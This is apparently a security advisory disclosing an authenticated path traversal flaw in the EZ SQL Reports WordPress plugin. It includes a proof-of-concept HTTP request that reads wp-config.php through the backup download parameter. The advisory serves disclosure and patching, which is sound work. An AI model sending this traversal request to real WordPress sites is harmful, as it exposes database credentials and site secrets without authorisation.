EZ SQL Reports < 4.11.37 – Authenticated Arbitrary File Download

Description

The plugin allows a WordPress site administrator or collaborator to download arbitrary files from the host file system though the plugin functionality of downloading .sql, .sql.zip or .sql.gz files created by the WordPress administrator.

The file name to download is not sanitized and path traversal can be
injected in the request.

Proof of Concept

GET /wp-admin/admin.php?page=ELISQLREPORTS-settings&Download_SQL_Backup=../../../wp-config.php
HTTP/1.1
Host: <the host with the wordpress>
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: <User-Agent>
Referer: http://<the host with the
wordpress>/wp-admin/admin.php?page=ELISQLREPORTS-settings
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6
Cookie: wordpress_[...etc...]4af418c3efd